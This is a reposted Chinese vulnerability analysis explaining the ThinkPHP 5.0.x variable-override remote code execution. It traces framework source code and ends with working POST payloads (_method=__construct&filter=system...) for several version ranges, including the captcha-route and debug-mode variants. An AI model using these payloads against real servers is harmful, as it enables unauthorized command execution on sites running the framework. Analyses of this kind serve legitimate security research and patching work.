• 技术文章 >php框架 >ThinkPHP

    关于thinkphp5.0.X全版本变量覆盖导致的RCE分析

    藏色散人藏色散人2021-04-21 11:07:10转载432
    下面由thinkphp教程栏目给大家介绍thinkphp5.0.X全版本变量覆盖导致的RCE分析,希望对需要的朋友有所帮助!

    简介

    总是碰到一些thinkphp5.0.X的站点,网上搜索漏洞利用payload会有好几种,变量覆盖导致的远程代码执行,不同小版本之间会有些差别,比如下面几种。

    _method=__construct&filter=system&a=whoami
    _method=__construct&filter=system&a=whoami&method=GET
    _method=__construct&filter=system&get[]=whoami
    ...

    payload虽没错,但是用得我挺懵,不知所以然。
    这几种到底有什么差异?
    各个参数的作用是什么?
    为什么会这样?

    分析

    thinkphp有两种版本,一种是核心版,一种是完整版。简单来讲核心版不包括第三方类库,比如验证码库(划重点,后面会用到)。

    5.0.0说起,适用于5.0.0的代码执行payload长这样

    POST /thinkphp5.0.0 HTTP/1.1
    
    _method=__construct&filter=system&a=whoami&method=GET

    在这里插入图片描述
    为什么 _method=__construct
    为什么 filter=system
    为什么 a=whoami
    为什么 method=GET

    thinkphp的入口文件为public/index.php,如下。

    // 定义应用目录
    define('APP_PATH', __DIR__ . '/../application/');
    // 加载框架引导文件
    require __DIR__ . '/../thinkphp/start.php';

    跟进thinkphp/start.php

    // 1. 加载基础文件
    require __DIR__ . '/base.php';
    
    // 2. 执行应用
    App::run()->send();

    看到是调用的是App::run()执行应用。
    跟进thinkphp/library/think/App.php下的run()函数。

        /**
         * 执行应用程序
         * @access public
         * @param Request $request Request对象
         * @return Response
         * @throws Exception
         */
        public static function run(Request $request = null)
        {
            ...
    
                // 获取应用调度信息
                $dispatch = self::$dispatch;
                if (empty($dispatch)) {
                    // 进行URL路由检测
                    $dispatch = self::routeCheck($request, $config);
                }
                // 记录当前调度信息
                $request->dispatch($dispatch);
            ...
         }

    run()函数中,会根据请求的信息调用self::routeCheck()函数,进行URL路由检测设置调度信息并赋值给$dispatch

        /**
         * URL路由检测(根据PATH_INFO)
         * @access public
         * @param  \think\Request $request
         * @param  array          $config
         * @return array
         * @throws \think\Exception
         */
        public static function routeCheck($request, array $config)
        {
            ...
                // 路由检测(根据路由定义返回不同的URL调度)
                $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            ...
            return $result;
        }

    其中的Route::check()函数如下。

        /**
         * 检测URL路由
         * @access public
         * @param Request   $request Request请求对象
         * @param string    $url URL地址
         * @param string    $depr URL分隔符
         * @param bool      $checkDomain 是否检测域名规则
         * @return false|array
         */
        public static function check($request, $url, $depr = '/', $checkDomain = false)
        {
            ...
            $method = $request->method();
            // 获取当前请求类型的路由规则
            $rules = self::$rules[$method];
            ...

    会调用$request->method()函数获取当前请求类型。

        /**
         * 当前的请求类型
         * @access public
         * @param bool $method  true 获取原始请求类型
         * @return string
         */
        public function method($method = false)
        {
            if (true === $method) {
                // 获取原始请求类型
                return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            } elseif (!$this->method) {
                if (isset($_POST[Config::get('var_method')])) {
                    $this->method = strtoupper($_POST[Config::get('var_method')]);
                    $this->{$this->method}($_POST);
            ...
            return $this->method;
        }

    因为上面调用method()函数是没有传参的,所以这里$method = false,进入elseifvar_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method

    // 表单请求类型伪装变量
    'var_method'             => '_method',

    那么只要POST传递一个_method参数,即可进入下面的if,会执行

    $this->method = strtoupper($_POST[Config::get('var_method')]);
    $this->{$this->method}($_POST);

    因此可通过指定_method来调用该类下的任意函数。
    所以_method=__construct是为了调用thinkphp/library/think/Request.php下的__construct函数。需要注意的是这里同时也将Request类下的$method的值覆盖为__construct了,这个很重要,先记录下。

    method => __construct

    那为啥要调用__construct函数完成攻击链,不是别的函数呢?
    跟进函数,如下。

        /**
         * 架构函数
         * @access public
         * @param array $options 参数
         */
        public function __construct($options = [])
        {
            foreach ($options as $name => $item) {
                if (property_exists($this, $name)) {
                    $this->$name = $item;
                }
            }
            if (is_null($this->filter)) {
                $this->filter = Config::get('default_filter');
            }
        }

    上面调用__construct函数的时候把$_POST数组传进去了,也就是会用foreach遍历POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,而$name$item都是来自$_POST,完全可控,这里就存在一个变量覆盖的问题。filter=system&method=GET 作用就是把当前类下的$filter覆盖为system,$method覆盖为GET,当前变量情况:

    method => __construct => GET
    filter => system

    为什么要把method又覆盖一遍成GET?,因为前面在check()函数中有这么两行代码。

    $method = $request->method();
    // 获取当前请求类型的路由规则
    $rules = self::$rules[$method];

    前面已经在method()函数中进行了变量覆盖,$method的值为__construct。而$rules的定义如下:

        private static $rules = [
            'GET'     => [],
            'POST'    => [],
            'PUT'     => [],
            'DELETE'  => [],
            'PATCH'   => [],
            'HEAD'    => [],
            'OPTIONS' => [],
            '*'       => [],
            'alias'   => [],
            'domain'  => [],
            'pattern' => [],
            'name'    => [],
        ];

    那么如果不再次覆盖$methodGET、POST、PUT等等,self::$rules[$method]就为self::$rules['__construct'],程序就得报错了嘛。

    应用调度信息后获取完毕后,若开启了debug,则会记录路由和请求信息。这也是很重要的一点,先记录。

    if (self::$debug) {
                    Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                    Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                    Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
                }

    再根据$dispatch类型的不同进入switch case处理。

                switch ($dispatch['type']) {
                    case 'redirect':
                        // 执行重定向跳转
                        $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
                        break;
                    case 'module':
                        // 模块/控制器/操作
                        $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                        break;
                    case 'controller':
                        // 执行控制器操作
                        $data = Loader::action($dispatch['controller']);
                        break;
                    case 'method':
                        // 执行回调方法
                        $data = self::invokeMethod($dispatch['method']);
                        break;
                    case 'function':
                        // 执行闭包
                        $data = self::invokeFunction($dispatch['function']);
                        break;
                    case 'response':
                        $data = $dispatch['response'];
                        break;
                    default:
                        throw new \InvalidArgumentException('dispatch type not support');
                }

    直接访问public/index.php默认调用的模块名/控制器名/操作名/index/index/index,具体定义在application/config.php里面。

    // 默认模块名
    'default_module'         => 'index',
    // 禁止访问模块
    'deny_module_list'       => ['common'],
    // 默认控制器名
    'default_controller'     => 'Index',
    // 默认操作名
    'default_action'         => 'index',

    因此对应的$dispatch['type']module,会调用module()函数,经过一系列的处理后返回数据到客户端。

    case 'module':
                        // 模块/控制器/操作
                        $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                        break;

    跟进module()函数,关键在invokeMethod()

        /**
         * 执行模块
         * @access public
         * @param array $result 模块/控制器/操作
         * @param array $config 配置参数
         * @param bool  $convert 是否自动转换控制器和操作名
         * @return mixed
         */
        public static function module($result, $config, $convert = null)
        {
         ...
                $data = self::invokeMethod($call);
         ...

    invokeMethod()如下,跟进bindParams()

       /**
         * 调用反射执行类的方法 支持参数绑定
         * @access public
         * @param string|array $method 方法
         * @param array        $vars   变量
         * @return mixed
         */
        public static function invokeMethod($method, $vars = [])
        {
            ...
            $args = self::bindParams($reflect, $vars);
            ...
        }

    bindParams()如下,跟进param()

        /**
         * 绑定参数
         * @access public
         * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
         * @param array             $vars    变量
         * @return array
         */
        private static function bindParams($reflect, $vars = [])
        {
            if (empty($vars)) {
                // 自动获取请求变量
                if (Config::get('url_param_type')) {
                    $vars = Request::instance()->route();
                } else {
                    $vars = Request::instance()->param();
                }
            }

    这是关键点,param()函数是获取当前请求参数的。

        /**
         * 设置获取获取当前请求的参数
         * @access public
         * @param string|array  $name 变量名
         * @param mixed         $default 默认值
         * @param string|array  $filter 过滤方法
         * @return mixed
         */
        public function param($name = '', $default = null, $filter = null)
        {
            if (empty($this->param)) {
                $method = $this->method(true);
                // 自动获取请求变量
                switch ($method) {
                    case 'POST':
                        $vars = $this->post(false);
                        break;
                    case 'PUT':
                    case 'DELETE':
                    case 'PATCH':
                        $vars = $this->put(false);
                        break;
                    default:
                        $vars = [];
                }
                // 当前请求参数和URL地址中的参数合并
                $this->param = array_merge($this->get(false), $vars, $this->route(false));
            }
            if (true === $name) {
                // 获取包含文件上传信息的数组
                $file = $this->file();
                $data = array_merge($this->param, $file);
                return $this->input($data, '', $default, $filter);
            }
            return $this->input($this->param, $name, $default, $filter);
        }

    这里又会调用method()获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST,那么通过可以变量覆盖传参,也可以直接POST传参。
    所以以下几种方式都是一样可行的:

    a=whoami
    aaaaa=whoami
    get[]=whoami
    route=whoami

    最后调用input()函数

        /**
         * 获取变量 支持过滤和默认值
         * @param array         $data 数据源
         * @param string|false  $name 字段名
         * @param mixed         $default 默认值
         * @param string|array  $filter 过滤函数
         * @return mixed
         */
        public function input($data = [], $name = '', $default = null, $filter = null)
        {
            ...
            if (is_array($data)) {
                array_walk_recursive($data, [$this, 'filterValue'], $filter);
                reset($data);
            } else {
                $this->filterValue($data, $name, $filter);
            }
            ...
        }

    input()函数中会通过filterValue()函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。

    /**
     * 递归过滤给定的值
     * @param mixed     $value 键值
     * @param mixed     $key 键名
     * @param array     $filters 过滤方法+默认值
     * @return mixed
     */
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
        ...

    通过call_user_func()完成任意代码执行,这也就是filter为什么要覆盖成system的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。

    thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
    在这里插入图片描述
    这里多了一处判断,所以不加method=GET也不会报错,可以正常执行。

    _method=__construct&filter=system&a=whoami

    在这里插入图片描述
    测试到5.0.13版本,payload打过去没有反应,为什么?
    在这里插入图片描述
    跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。

        // 设置默认过滤机制
        $request->filter($config['default_filter']);

    前面通过变量覆盖把$filter覆盖成了system,这里又把$filter给二次覆盖回去了,导致攻击链断了。

    前面提到过如果开启了debug模式,很重要,为什么呢?

    // 记录路由和请求信息
                if (self::$debug) {
                    Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                    Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                    Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
                }

    最后一句会调用param()函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter,进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param(),也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。
    在这里插入图片描述
    filter是在module函数中被覆盖回去的,而执行module函数是根据$dispatch的类型来决定的,那是否能不走module函数,绕过这里的覆盖呢?
    完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。

    \think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

    其对应的dispatch类型为method,完美的避开了二次覆盖,路由限定了请求类型为get,所以在5.0.13开始,如果没有开debug,还可以调用第三方类库完成攻击链。

    POST /?s=captcha
    
    _method=__construct&filter=system&method=GET&a=whoami

    在这里插入图片描述
    5.0.21版本开始,函数method()有所改动。
    在这里插入图片描述
    通过server()函数获取请求方法,并且其中调用了input()函数。

    /**
     * 获取server参数
     * @access public
     * @param string|array  $name 数据名称
     * @param string        $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

    前面分析过了,最后代码执行是进入input()中完成的,所以只要能进入server()函数也可以造成代码执行。

    POST /?s=captcha HTTP/1.1
    
    _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

    param()函数是根据method()返回值来获取参数的,现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami任意参数名来传递了。

    // 当前请求参数和URL地址中的参数合并
                $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

    在测试的时候发现只能通过覆盖get[]、route[]完成攻击,覆盖param[]却不行,调试后找到原因,原来是在route()函数里param[]又被二次覆盖了。

        /**
         * 设置获取路由参数
         * @access public
         * @param string|array  $name 变量名
         * @param mixed         $default 默认值
         * @param string|array  $filter 过滤方法
         * @return mixed
         */
        public function route($name = '', $default = null, $filter = '')
        {
            if (is_array($name)) {
                $this->param        = [];
                return $this->route = array_merge($this->route, $name);
            }
            return $this->input($this->route, $name, $default, $filter);
        }
    POST /?s=captcha HTTP/1.1
    
    _method=__construct&filter=system&method=GET&get[]=whoami

    在这里插入图片描述
    或者

    POST /?s=captcha HTTP/1.1
    
    _method=__construct&filter=system&method=GET&route[]=whoami

    在这里插入图片描述

    总结

    各版本通用的变量覆盖payload如下
    5.0.0~5.0.12 无条件触发

    POST / HTTP/1.1
    
    _method=__construct&filter=system&method=GET&a=whoami
    
    a可以替换成get[]、route[]或者其他名字

    5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

    POST /?s=captcha HTTP/1.1
    
    _method=__construct&filter=system&method=get&get[]=whoami
    
    get[]可以换成route[]

    5.0.13~5.0.23 需要开启debug

    POST / HTTP/1.1
    
    _method=__construct&filter=system&get[]=whoami
    
    get[]可以替换成route[]

    相关推荐:最新的10个thinkphp视频教程

    以上就是关于thinkphp5.0.X全版本变量覆盖导致的RCE分析的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:csdn,如有侵犯,请联系admin@php.cn删除
    专题推荐:thinkphp5.0.X
    上一篇:thinkphp6中怎么封装优化api数据格式 下一篇:介绍thinkPHP配置虚拟域名简化URL路径
    大前端线上培训班

    相关文章推荐

    • 快速让小白理解ThinkPHP5模型的概念• 简析thinkphp5.0如何使用数字识别接口• 分享推荐一款好用的TP富文本编辑器-CKEditor• TP框架独享PATHINFO模式?当然不!• 聊聊valet是否有适合TP5的驱动?

    全部评论我要评论

  • 取消发布评论发送
  • 1/1

    PHP中文网